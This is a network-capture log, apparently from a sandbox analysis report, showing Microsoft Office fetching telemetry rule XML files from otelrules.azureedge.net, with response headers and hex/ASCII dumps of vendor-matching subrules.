2024-11-20 06:49:01 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:01 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:01 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: feb02638-401e-0067-7b8c-3a09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064901Z-185f5d8b95cdcwrthC1NYCy5b800000009ug00000000b0s8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:01 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:01 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:01 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:01 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: e83eb970-001e-0046-777e-3ada4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064901Z-1777c6cb754ww792hC1TEBzqu4000000094g000000003nc4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:01 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:01 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:02 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:01 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: bfe6d614-201e-006e-7a8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064901Z-185f5d8b95c95vpshC1NYC759c00000009x00000000074pr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:02 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:01 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:02 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:01 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: b0c2e714-101e-000b-0df2-3a5e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064901Z-185f5d8b95crwqd8hC1NYCps6800000009vg0000000090ya x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 06:49:02 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:02 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:02 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:02 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 62f36519-501e-0016-468c-3a181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064902Z-185f5d8b95cwtv72hC1NYC141w00000009r000000000gr2s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:02 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:02 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:02 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:02 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 7511d71d-801e-0083-6e8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064902Z-185f5d8b95cmd8vfhC1NYC0g4000000005ng00000000mkxm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:02 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:02 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:02 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:02 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: e456cfdf-c01e-0014-248c-3aa6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064902Z-185f5d8b95crwqd8hC1NYCps6800000009ug00000000d028 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:02 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:02 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:02 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:02 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: c1a1e3cb-901e-005b-1f8c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064902Z-185f5d8b95c96jn4hC1NYCbgp800000009t000000000hu8g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:02 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:02 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:02 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:02 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 5b8b83f7-201e-0033-0b8c-3ab167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064902Z-185f5d8b95cf7qddhC1NYC66an00000009wg00000000ezm1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:02 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:03 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:03 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:03 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: a1cdeef9-f01e-0020-348c-3a956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064903Z-r1d97b9957744xz5hC1TEB5bf800000008cg000000007gfc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:03 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:03 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:03 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:03 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 0514cbb3-901e-00ac-0281-3ab69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064903Z-1777c6cb7549x5qchC1TEBggbg00000009cg000000001b3s x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:03 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:03 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:03 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:03 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: b82dc135-b01e-0053-1a8c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064903Z-185f5d8b95cp7lkfhC1NYC7rpw00000009w000000000pgse x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:03 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" 